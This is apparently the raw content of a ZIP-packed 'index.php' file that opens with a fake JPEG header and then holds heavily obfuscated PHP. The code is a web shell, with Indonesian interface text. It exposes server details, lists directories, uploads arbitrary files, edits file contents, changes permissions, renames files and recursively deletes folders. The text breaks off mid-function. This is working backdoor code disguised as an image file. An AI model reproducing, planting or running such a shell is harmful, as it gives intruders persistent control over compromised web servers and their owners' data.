PK} 5\|b|bgjldh/index.phpnuW+AÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF    ÿÛ „ ( %"1!%)+...383,7(-.+  -+++--++++---+-+-----+---------------+---+-++7-----ÿÀ  ß â" ÿÄ    ÿÄ H   !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ   ÿÄ %  !1AQa"23‘ÿÚ   ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6  öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ "Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷󲍷˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%ÌÁ²h´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ǍýʏTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆѪQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»& î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$˝Úsäÿ ÷Û #°xŸëí(l »ý3—¥5m! rt`†0~'j2(]S¦¦kv,ÚÇ l¦øJA£Šƒ J3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉ䢍mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ­‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U  Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD é©¤&‡ïDbàÁôMÁ. $Oe) { goto Fvm5j; qygGW: echo sS($Op[$lE]); goto aPb2u; aPb2u: if ($lE != $j3) { goto dPc14; } goto Wds7x; QB8_i: echo "\x32\146"; goto jLTjf; PByHB: goto ufLc2; goto VIYPa; lpkFk: EYftb: goto jYCxj; Fvm5j: if ($j3 == 0 && $Oe == '') { goto MWOxt; } goto PByHB; cVGQY: $lE = 0; goto pe3Dv; OzfAy: goto Kt8H4; goto sf8OO; Q42e7: echo "\74\x61\40\x68\x72\x65\146\x3d\x22\77\160\75\62\x66\x22\40\143\154\141\163\163\75\x22\x63\157\155\x62\x65\164\x22\x3e\x7e\x3c\x2f\141\76\57"; goto OzfAy; EAX3I: $lE++; goto W9UQF; Spsgc: Kt8H4: goto sMtqi; Wds7x: goto U3WfF; goto ut0jS; vUVs4: IBpgX: goto bS2jz; jLTjf: U3WfF: goto lo3ZP; VkFF6: echo "\x3c\x61\40\x63\154\x61\x73\163\x3d\x22\x63\157\x6d\x62\x65\x74\42\40\x68\162\x65\x66\x3d\42\77\160\75"; goto cVGQY; W9UQF: goto ZiNnh; goto lpkFk; pe3Dv: ZiNnh: goto QH27w; JZx4X: ysRXm: goto VkFF6; jTGNi: goto EYftb; goto iNne8; xpmjY: goto ysRXm; goto vUVs4; jYCxj: echo "\x22\76{$Oe}\74\57\x61\x3e\x2f"; goto Spsgc; VIYPa: MWOxt: goto Q42e7; ut0jS: dPc14: goto QB8_i; sMtqi: rS3NS: goto oJ1oa; lo3ZP: SthHa: goto EAX3I; ppxrX: if ($Oe == '') { goto IBpgX; } goto xpmjY; bS2jz: goto Kt8H4; goto JZx4X; iNne8: cMQQe: goto qygGW; QH27w: if ($lE <= $j3) { goto cMQQe; } goto jTGNi; sf8OO: ufLc2: goto ppxrX; oJ1oa: } goto Y7Z0b; ui2ii: JvcYD: goto iBbm5; nsWn8: function tF($yf) { goto sskCe; fXVxM: if (!(is_dir($yf) && array_diff(scandir($yf), array("\56", "\x2e\56")))) { goto RP3Iy; } goto ZYx8z; LUX_z: RP3Iy: goto iTc69; YTPw1: if (trim(pathinfo($yf, PATHINFO_BASENAME), "\x2e") === '') { goto Mrxog; } goto wANxN; M8mG2: QTjyQ: goto BOu7j; XOSkm: Wv6fm: goto fXVxM; iTc69: rmdir($yf); goto n1Jtf; ZYx8z: goto QTjyQ; goto LUX_z; n1Jtf: return; goto M8mG2; sskCe: global $c8; goto YTPw1; wANxN: goto Wv6fm; goto iXnKi; QKT6w: rmdir($yf); goto s9gwe; BOu7j: array_map(function ($item) use($yf) { goto Qn2wI; Qn2wI: $file = $yf . DIRECTORY_SEPARATOR . $item; goto BDdLo; N1N3K: goto iy3dP; goto QP8VH; DMrRd: iy3dP: goto r51c1; QP8VH: uTA7m: goto ePttR; ePttR: tF($file); goto DMrRd; BDdLo: if (is_dir($file)) { goto uTA7m; } goto I91lo; I91lo: unlink($file); goto N1N3K; r51c1: }, array_diff(scandir($yf), array("\56", "\56\x2e"))); goto QKT6w; iXnKi: Mrxog: goto Kuedk; Kuedk: return; goto XOSkm; s9gwe: } goto CKeJG; b1Prt: ltJzC: goto rjz3G; yFHz7: xE("\x47\x61\147\141\154\x20\x6d\145\x6d\x70\x65\x72\x62\141\162\165\151\x20\153\x6f\x6e\x74\145\x6e\x20\x66\151\154\x65"); goto Qns7R; NaeCm: mfvF0: goto GoQrX; MhAYt: xE("\116\x61\155\141\40\146\157\x6c\144\x65\162\x20\164\x65\x6c\141\x68\40\144\151\147\165\156\141\x6b\x61\156", 0, "\46\x61\x3d" . SS("\x6e\x65\167\104\151\x72")); goto UGZfs; ah8PB: if ($lE < count($c8)) { goto Ts8yS; } goto EIdAd; V60JP: CiuOO: goto sZ6bB; IV6J1: if (!isset($_FILES["\x66"])) { goto j8Ne4; } goto TR99t; P15t3: echo "\x3c\150\x35\40\143\x6c\x61\163\x73\x3d\x22\x70\55\x31\x20\162\141\x69\x6e\x62\157\x77\x2d\x62\x6f\x72\x64\x65\x72\x22\x3e\122\145\156\141\x6d\x65\40\x46\151\154\145\x20\x3a\x20"; goto ellLl; s1u_6: goto vM212; goto yexD7; lygUa: $Jd = jD($_GET["\x70"]); goto XoXZZ; R6obu: IfSJ9: goto eucg0; tEYJK: echo "\x3c\x2f\164\145\x78\x74\141\x72\x65\x61\x3e\15\12\74\x2f\x64\151\x76\x3e\15\xa"; goto N93Qc; erhmN: goto qLlQw; goto i0rgL; fIAC0: vM212: goto ZZiIv; rHpnJ: echo ss($Jd) . "\x26\x61\75" . Ss("\x6e\145\x77\106\x69\x6c\x65"); goto v9nE0; qWFN0: goto BgYPr; goto Lm_zM; GoQrX: xe("\146\151\154\145\x20\x64\145\x6c\145\x74\145\x64\40\163\x75\x63\143\x65\163\163\146\x75\x6c\154\171"); goto SollG; SwPKx: echo "\74\x2f\163\160\x61\156\76\74\x2f\154\151\x3e\15\12\74\154\151\76\120\110\x50\40\126\x65\x72\163\151\x6f\x6e\40\72\x20\x3c\163\160\x61\x6e\40\163\x74\171\154\145\x3d\42\x63\157\154\157\162\72\x20\x77\x68\x69\x74\x65\73\x22\76"; goto sBr8q; FjyCj: xe("\106\x69\154\145\40\x62\x65\x72\x68\x61\x73\x69\x6c\x20\x64\x69\142\x75\141\x74", 1, "\46\x61\75" . SS("\x76\151\145\x77") . "\x26\156\75" . Ss($fileName)); goto TytgP; tqKCZ: xE("\x46\x69\x6c\145\x20\x74\x69\x64\x61\153\40\141\x64\x61\x20\x61\x74\x61\x75\40\164\x69\x64\141\153\x20\144\x61\160\x61\x74\40\x64\x69\164\x75\x6c\151\x73"); goto twach; h0yNe: NF5Mp: goto ed79z; yVA2j: $targetFilePath = "{$Jd}\57{$fileName}"; goto as55f; oUPhS: if (!isset($_POST["\x63\150\141\x6e\147\145\x5f\x70\145\x72\x6d\x73"])) { goto ih__Q; } goto XjoI2; jJ6Ik: goto xdi7Y; goto Kar2v; ThB_8: PYt7W: goto l8csR; twach: goto XR5kC; goto Y6O3j; m101q: f8xPg: goto pTFI0; vNGYA: goto mBbAB; goto g0l1M; CzeEQ: $fileTmpNames = $_FILES["\x66"]["\x74\155\x70\137\x6e\x61\155\x65"]; goto yqeU_; W_YUR: $newPath = "{$currentDir}\57{$newName}"; goto uLQpu; HhbxK: $lE = 0; goto SrkKL; g6YeJ: jycuQ: goto yzR0z; KQMnt: c_wd5: goto XplJE; yCXHO: echo $c8[18]($c8[14](getcwd() . "\x2f" . jd($_GET["\156"]))); goto tEYJK; AP21i: $content = $_POST["\146\151\154\x65\x5f\x63\x6f\x6e\164\x65\x6e\x74"]; goto jtnD_; XNn9R: goto JvcYD; goto ZFVCq; ddJe8: $totalFiles = count($uploadedFiles); goto fIAC0; Sjegh: if (!($im == "\x76\151\x65\167")) { goto ltJzC; } goto IOs5m; LExXx: OqgUI: goto DxM5p; TytgP: NA5Qf: goto C0rs5; eJzBg: $Op = $c8[4]("\57\50\x5c\x5c\x7c\x5c\x2f\x29\57", $Jd); goto wEnsV; Kar2v: lNhPP: goto QVXk5; KxtAf: Ts8yS: goto Z3Rwf; YpqQB: xe("\x42\x65\162\x68\141\x73\x69\x6c\x20\x6d\x65\156\147\x75\142\141\150\x20\x6e\141\x6d\x61\x20\146\x69\154\x65"); goto PdVkP; Uj6Nn: $filePath = getcwd() . "\57{$fileName}"; goto AP21i; gNdcw: nRhJi: goto GAJ_p; WsTPz: wXkgs: goto lP14A; IXUL0: goto G9S0S; goto hQI_R; y1nIx: $filePath = "{$currentDir}\57" . jD($_GET["\156"]); goto vA6Xn; i0rgL: Cw8Jm: goto Sjegh; SSOY8: Xe("\106\x69\x6c\145\40\x67\141\x67\141\154\x20\x64\151\165\156\147\x67\x61\x68", 0); goto LHnmG; ed79z: if (!($im == "\156\145\x77\104\x69\x72")) { goto fV5j4; } goto XNn9R; gQPY8: if (file_put_contents($filePath, $content) !== false) { goto Q1N8Z; } goto yFHz7; XplJE: Sp00F: goto ql2h3; cb69F: $lE++; goto jJ6Ik; U0HWk: goto WuWzI; goto g6YeJ; fFAU6: tF($BL); goto BeTGF; qv6Am: echo gethostbyname($_SERVER["\x52\105\115\117\x54\105\137\x41\x44\104\x52"]); goto KhgEs; EdS_l: echo "\74\57\163\160\141\x6e\x3e\74\57\154\x69\76\xd\12\74\x6c\151\76\x53\145\162\x76\x65\162\x20\123\x6f\x66\164\x77\x61\162\145\x20\72\40\74\163\160\x61\156\40\163\164\x79\x6c\145\75\x22\x63\x6f\154\x6f\162\72\x20\x77\150\151\164\x65\73\x22\x3e"; goto M6ABo; ZFVCq: fV5j4: goto LtzXz; psV4R: echo "\x3c\x68\x35\x20\143\154\x61\163\163\75\42\x70\x2d\x31\40\x72\141\151\156\142\157\167\55\x62\157\162\144\x65\x72\x22\x20\163\x74\x79\154\145\x3d\42\164\145\170\x74\x2d\x61\154\151\x67\156\72\40\143\145\x6e\x74\145\162\x3b\42\x3e\15\12\40\40\x20\40\126\151\145\167\x20\106\x69\x6c\145\x20\116\x61\x6d\x65\x20\x3a\x20\x3c\x66\x6f\156\x74\x20\x63\x6f\154\157\162\x3d\42\167\x68\x69\164\x65\42\76"; goto QznLN; vA6Xn: if (chmod($filePath, octdec($newPerms))) { goto eDnbO; } goto hgzvg; RE3aJ: G9S0S: goto O4wAy; MycnO: echo "\x3c\x2f\x66\157\x6e\164\76\74\57\150\65\x3e\xd\12\x3c\146\x6f\x72\155\40\155\x65\164\150\157\144\x3d\42\x70\x6f\163\x74\x22\76\xd\xa\x20\x20\x20\40\x3c\144\151\166\40\x63\154\141\163\x73\75\x22\x66\157\162\155\x2d\147\x72\x6f\x75\x70\x22\x3e\xd\12\x20\x20\40\x20\x20\x20\x20\x20\x3c\164\145\x78\x74\141\162\145\x61\x20\x6e\141\155\x65\75\42\146\x69\x6c\x65\137\x63\x6f\x6e\x74\x65\156\x74\42\x20\151\x64\x3d\x22\146\x69\154\x65\137\x63\157\156\164\x65\156\x74\x22\x20\x63\x6f\x6c\163\x3d\x22\63\60\x22\x20\162\x6f\x77\163\75\x22\x31\x30\x22\x20\143\154\x61\163\x73\75\x22\146\157\x72\x6d\x2d\143\x6f\x6e\164\x72\x6f\x6c\x20\x72\141\151\x6e\x62\157\167\x2d\142\x6f\x72\x64\x65\x72\42\76"; goto OJjdv; ANEwH: goto WuWzI; goto ISycY; DmZNj: if (file_exists($folderPath)) { goto lVpvL; } goto JqxaL; IP9JK: $Jd = getcwd(); goto K71UA; dG_yF: if (!file_exists($BL)) { goto mfvF0; } goto LHxHL; ql2h3: echo "\x20\15\xa\x3c\57\x74\142\x6f\x64\x79\76\15\12\74\x2f\x74\x61\x62\x6c\145\76\15\12"; goto RE3aJ; pJrgA: if (!($_SERVER["\x52\105\x51\125\105\x53\x54\137\x4d\x45\x54\x48\117\104"] === "\120\117\x53\124" && isset($_POST["\145\x64\151\164\137\x66\x69\154\145"]))) { goto FuJKP; } goto WY826; iPtuX: ih__Q: goto QJcbe; aPTH4: echo "\74\57\164\145\x78\164\x61\x72\145\x61\x3e\15\xa\40\x20\40\40\x3c\57\144\x69\x76\76\15\xa\40\40\x20\40\74\144\151\x76\x20\143\154\141\x73\x73\75\x22\146\x6f\162\x6d\55\147\162\157\165\x70\x22\x20\163\164\x79\154\x65\x3d\42\x6d\x61\x72\147\x69\156\x2d\x74\157\x70\72\40\61\x30\160\x78\73\x22\76\xd\12\40\x20\x20\x20\x20\x20\40\40\x3c\142\165\x74\164\x6f\156\x20\x74\171\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\156\141\x6d\x65\75\x22\x65\x64\x69\x74\x5f\x66\151\x6c\145\x22\x20\x63\154\141\163\x73\x3d\x22\x6f\x68\x63\x74\42\76\123\151\x6d\x70\141\156\x3c\57\x62\x75\x74\x74\157\156\x3e\xd\xa\40\x20\40\x20\x3c\x2f\144\151\166\76\xd\xa\74\57\x66\157\162\155\76\xd\xa\xd\xa"; goto pJrgA; EaJYU: Bh2fC: goto iPtuX; GrpvM: Y6Upm: goto SetU1; g4Bkd: goto YmvX_; goto APzPP; lBivr: $content = $_POST["\x66\151\x6c\x65\x5f\143\157\x6e\x74\145\156\164"]; goto gbyid; PdVkP: Fk3E1: goto pMfSC; PZxqg: if (isset($_GET["\141"])) { goto PW8sr; } goto e3oOU; QVXk5: if (!isset($_GET["\x70"])) { goto wXkgs; } goto xa4PM; QJcbe: goto WuWzI; goto SrtER; uNjg_: echo jD($_GET["\x6e"]); goto DbYJr; z00aG: if (!($_GET["\x74"] == "\x66")) { goto GRYEX; } goto o5NaW; T7PXl: $fileName = basename($uploadedFiles[$index]); goto yVA2j; Qns7R: goto WBrRw; goto qkvjE; C0rs5: goto PYt7W; goto R6obu; HB3Fv: echo "\74\x2f\x68\65\x3e\xd\xa\74\146\x6f\162\x6d\x20\155\x65\x74\150\x6f\144\x3d\42\160\157\x73\x74\42\x3e\15\12\x20\x20\40\x20\74\144\151\166\40\x63\154\x61\163\x73\x3d\42\x66\157\162\155\55\x67\162\x6f\x75\x70\42\76\xd\xa\x20\40\40\40\40\x20\x20\x20\x3c\151\156\x70\165\164\40\164\171\160\145\75\x22\x74\145\170\x74\x22\x20\x6e\141\155\x65\75\x22\x6e\145\x77\x5f\146\x69\154\145\137\156\x61\x6d\x65\42\x20\151\144\75\42\x6e\145\x77\137\x66\151\x6c\145\x5f\156\x61\155\x65\42\x20\143\154\141\x73\163\x3d\42\x62\x6f\162\144\x65\x72\40\160\55\61\x22\x20\166\x61\154\165\x65\75\x22"; goto uNjg_; LtzXz: if (!($im == "\156\x65\167\106\151\x6c\145")) { goto Y6Upm; } goto xYynO; sueaT: goto NA5Qf; goto caZJX; FfdSI: if (!($im == "\x63\x68\x61\x6e\147\145\120\145\x72\155\x73")) { goto Cw8Jm; } goto erhmN; zQPxb: $Jd = getcwd(); goto IV6J1; BeTGF: if (!file_exists($BL)) { goto l07qe; } goto tqIqH; XuBX4: echo "\x22\x20\x63\154\x61\x73\163\x3d\42\157\150\143\164\x22\x3e\x42\x75\x61\164\40\106\157\x6c\144\x65\x72\x3c\57\141\x3e\74\57\x6c\x69\76\15\12\74\x66\x6f\162\155\40\141\143\164\x69\157\x6e\x3d\x22\x22\x20\155\145\x74\150\x6f\144\75\x22\x50\x4f\123\x54\42\40\x65\156\x63\164\x79\160\x65\75\x22\155\165\x6c\164\x69\160\x61\x72\x74\57\x66\x6f\x72\155\x2d\x64\x61\x74\x61\42\x20\x73\x74\x79\154\x65\x3d\42\x70\141\x64\x64\x69\156\147\72\x20\x30\56\x31\x30\162\x65\x6d\73\x20\x64\x69\163\160\154\x61\171\72\40\x69\156\154\x69\x6e\x65\55\142\x6c\157\x63\153\x3b\x22\x3e\15\12\x20\x20\x20\40\x3c\151\x6e\x70\x75\164\x20\164\x79\160\145\75\x22\146\x69\154\x65\42\x20\x6e\x61\x6d\145\75\42\146\x5b\x5d\x22\x20\155\x75\154\164\151\x70\154\x65\76\15\xa\x20\40\40\x20\x3c\151\x6e\x70\x75\164\40\x74\171\x70\x65\75\x22\163\165\142\155\151\x74\x22\x20\x76\141\154\x75\x65\x3d\42\x55\x70\x6c\157\x61\x64\42\x20\x6e\141\155\x65\75\42\163\x75\142\x6d\151\x74\x22\40\x63\x6c\x61\163\x73\75\42\x62\x75\x74\x74\157\156\40\157\x68\x63\164\x22\76\xd\12\74\x2f\146\x6f\162\155\x3e\xd\12"; goto zQPxb; CgOkh: echo php_uname(); goto EdS_l; ckKLx: xe("\113\157\156\164\x65\x6e\40\146\x69\154\x65\x20\x62\x65\162\150\141\163\x69\x6c\x20\144\x69\x70\x65\162\x62\x61\x72\x75\151", 1, "\46\x61\x3d" . sS("\x76\151\145\167") . "\x26\x6e\75{$_GET["\x6e"]}"); goto OPLx1; v3G9M: foreach ($G3 as $F1) { goto ruO3g; JOFka: ujbhv: goto glGuu; D3Ydb: $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x20\x20\115\102" : $kL . "\x20\40\113\102"; goto ldehu; v2noY: F6uUG: goto nnWwd; bcKKF: TomPa: goto cb8nr; ldehu: echo "\15\12\x3c\164\x72\x3e\15\xa\74\x74\144\x20\x73\164\171\x6c\145\x3d\42\x74\x65\x78\x74\55\141\x6c\x69\x67\156\x3a\x20\x6c\x65\146\x74\73\42\x3e\xd\12\x3c\151\x20\x63\x6c\x61\x73\x73\75\x22\146\x61\40\x66\141\x2d\x66\x77\40\146\141\55\146\151\154\145\55\157\42\40\x73\x74\x79\x6c\x65\x3d\42\x62\x6f\162\x64\x65\x72\72\40\x30\x3b\160\141\x64\x64\151\156\x67\72\x20\60\x3b\167\151\x64\x74\150\72\40\61\x2e\62\x38\65\67\x31\x34\x32\x39\145\155\73\x22\x3e\x3c\57\151\x3e\x3c\141\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . SS($Jd) . "\x26\x61\x3d" . sS("\x76\151\x65\167") . "\x26\x6e\x3d" . SS($F1) . "\42\x20\x64\x61\x74\x61\x2d\164\x6f\x67\147\154\145\x3d\42\164\157\157\x6c\x74\x69\x70\x22\40\144\x61\x74\141\x2d\x70\154\x61\143\145\x6d\x65\x6e\x74\x3d\x22\141\165\x74\157\x22\40\x74\151\x74\154\145\x3d\42\114\141\x74\145\x73\164\40\155\157\144\x69\146\171\40\x6f\156\40" . $c8[19]("\131\55\x6d\55\144\x20\110\72\x69", $c8[20]("{$Jd}\57{$F1}")) . "\x22\76{$F1}\x3c\57\141\76\74\57\164\x64\x3e\15\12\x3c\x74\x64\x3e\x3c\x73\160\141\x6e\76{$kL}\74\x2f\163\160\x61\x6e\x3e\x3c\57\164\144\76\xd\xa\74\x74\144\x3e\xd\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\40\x20\40\74\141\40\150\162\145\x66\75\x22\x3f\x70\75" . SS($Jd) . "\46\141\75" . sS("\x63\150\141\156\x67\x65\120\x65\162\155\x73") . "\x26\156\75" . SS($F1) . "\42\40\x64\141\164\x61\x2d\164\x6f\x67\x67\154\x65\75\42\164\x6f\157\154\x74\x69\x70\x22\40\x64\141\164\141\x2d\160\x6c\141\x63\x65\155\145\x6e\x74\75\42\x61\165\164\x6f\42\x20\164\x69\164\x6c\x65\x3d\42\103\x68\141\x6e\147\x65\x20\120\x65\x72\x6d\151\x73\x73\x69\157\156\x73\x22\40\144\x61\x74\x61\55\157\162\151\x67\x69\156\141\x6c\55\x74\x69\164\154\x65\x3d\42\x43\x68\x61\156\147\x65\40\x50\145\x72\x6d\151\163\x73\151\x6f\156\x73\x22\x3e\x3c\x66\x6f\156\164\x20\x63\157\154\157\x72\x3d\x22" . ($c8[8]("{$Jd}\x2f{$F1}") ? "\43\x30\x30\146\x66\60\x30" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\43\x30\60\x62\x66\146\146" : null)) . "\x22\x3e" . rN("{$Jd}\x2f{$F1}") . "\x3c\57\146\x6f\x6e\164\x3e\x3c\x2f\x61\76\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\40\x20\40\x3c\57\164\x64\76\15\xa\x3c\x74\144\76\x3c\141\x20\x68\162\145\x66\x3d\x22\77\160\x3d" . Ss($Jd) . "\46\141\75" . Ss("\145\x64\x69\164") . "\x26\x6e\x3d" . SS($F1) . "\x22\x20\x64\141\x74\141\55\164\x6f\147\x67\154\145\x3d\42\x74\157\x6f\154\164\x69\160\x22\x20\144\x61\x74\141\55\x70\154\141\143\145\x6d\x65\156\164\x3d\x22\141\x75\164\x6f\42\40\x74\151\x74\x6c\x65\x3d\x22\105\144\151\164\x22\76\x45\x64\x69\164\x3c\x2f\141\76\74\57\x74\x64\x3e\15\xa\x3c\x74\144\76\74\141\40\150\162\145\x66\x3d\42\x3f\160\75" . ss($Jd) . "\46\141\x3d" . SS("\x72\x65\156\x61\x6d\145") . "\46\156\x3d" . ss($F1) . "\x26\164\75\146\x22\40\144\x61\x74\x61\55\164\x6f\x67\147\x6c\x65\75\x22\164\x6f\x6f\x6c\x74\151\x70\x22\40\144\x61\164\x61\x2d\160\154\141\x63\145\155\145\x6e\164\75\x22\141\x75\x74\x6f\42\x20\x74\151\164\x6c\x65\75\x22\122\145\156\141\x6d\x65\42\x3e\x52\x65\x6e\141\x6d\145\74\x2f\x61\76\74\x2f\164\x64\x3e\xd\xa\x3c\x74\x64\x3e\74\141\x20\150\x72\145\x66\x3d\42\77\x70\x3d" . ss($Jd) . "\x26\x61\75" . sS("\x64\x65\154\145\164\145") . "\46\156\75" . ss($F1) . "\42\40\x63\154\x61\x73\x73\75\42\x64\x65\154\145\x74\145\42\40\x64\x61\164\141\x2d\x74\171\x70\x65\75\42\146\151\154\145\42\40\x64\x61\164\x61\55\164\x6f\147\x67\154\x65\x3d\x22\164\157\157\x6c\164\151\x70\42\40\x64\x61\164\x61\x2d\x70\x6c\141\x63\145\x6d\145\x6e\164\x3d\x22\x61\165\164\157\42\x20\x74\x69\164\x6c\x65\75\42\x44\145\154\145\x74\145\x22\76\x44\145\154\145\x74\145\74\x2f\141\76\74\x2f\x74\x64\x3e\15\xa\x3c\57\x74\x72\76"; goto v2noY; glGuu: goto F6uUG; goto bcKKF; v9Eba: $kL = round($kL, 3); goto D3Ydb; ruO3g: if (!$c8[7]("{$Jd}\57{$F1}")) { goto ujbhv; } goto FaOlZ; nnWwd: WFhx4: goto RoXaA; cb8nr: $kL = $c8[10]("{$Jd}\57{$F1}") / 1024; goto v9Eba; FaOlZ: goto TomPa; goto JOFka; RoXaA: } goto KQMnt; OPLx1: WBrRw: goto Pou2M; KH9aY: function rn($F1) { goto Ejvon; zVqOc: n1F3e: goto EdX4F; l2o3k: HQRNE: goto L0VkZ; A3WMM: if (!(($Jd & 0x6000) == 0x6000)) { goto n1F3e; } goto Bqxqf; oofvc: goto Qxl4a; goto OqJkb; bFELY: pUF7c: goto Ad9mp; oqOEA: JthAK: goto DNxB7; XpXso: $lE = "\x6c"; goto GC653; szoa_: BDLif: goto hiN2A; UVoP8: goto Qxl4a; goto bFELY; aQqQF: cLJz2: goto uxsoy; nKEdw: if (!(($Jd & 0x2000) == 0x2000)) { goto JthAK; } goto l48bI; Ejvon: $Jd = fileperms($F1); goto T8j0w; huuz4: goto Qxl4a; goto sSQX4; kLO5U: goto Qxl4a; goto KOXs1; rGNN8: if (!(($Jd & 0xa000) == 0xa000)) { goto Tt_g_; } goto UWWll; Gyg5Y: $lE .= $Jd & 0x4 ? "\x72" : "\55"; goto wr2W5; kKDNR: return $lE; goto U5w5P; wr2W5: $lE .= $Jd & 0x2 ? "\x77" : "\55"; goto AQ5h1; GYiif: Tt_g_: goto cqeNy; tISrq: $lE .= $Jd & 0x20 ? "\x72" : "\x2d"; goto Wh334; a0iTu: goto pUF7c; goto jphQA; L0VkZ: $lE = "\55"; goto hjz5U; AQ5h1: $lE .= $Jd & 0x1 ? $Jd & 0x200 ? "\x74" : "\x78" : ($Jd & 0x200 ? "\124" : "\x2d"); goto kKDNR; OqJkb: wUPiF: goto XwcR2; uxsoy: $lE = "\142"; goto UVoP8; a1QMB: $lE .= $Jd & 0x8 ? $Jd & 0x400 ? "\x73" : "\x78" : ($Jd & 0x400 ? "\123" : "\x2d"); goto Gyg5Y; ZjeVr: goto HQRNE; goto PR2BP; XwcR2: $lE = "\160"; goto yFMrk; kSaVg: goto Qxl4a; goto szoa_; Wh334: $lE .= $Jd & 0x10 ? "\x77" : "\55"; goto a1QMB; Bqxqf: goto cLJz2; goto zVqOc; lW0lD: NZDZ0: goto otWx5; cqeNy: if (!(($Jd & 0x8000) == 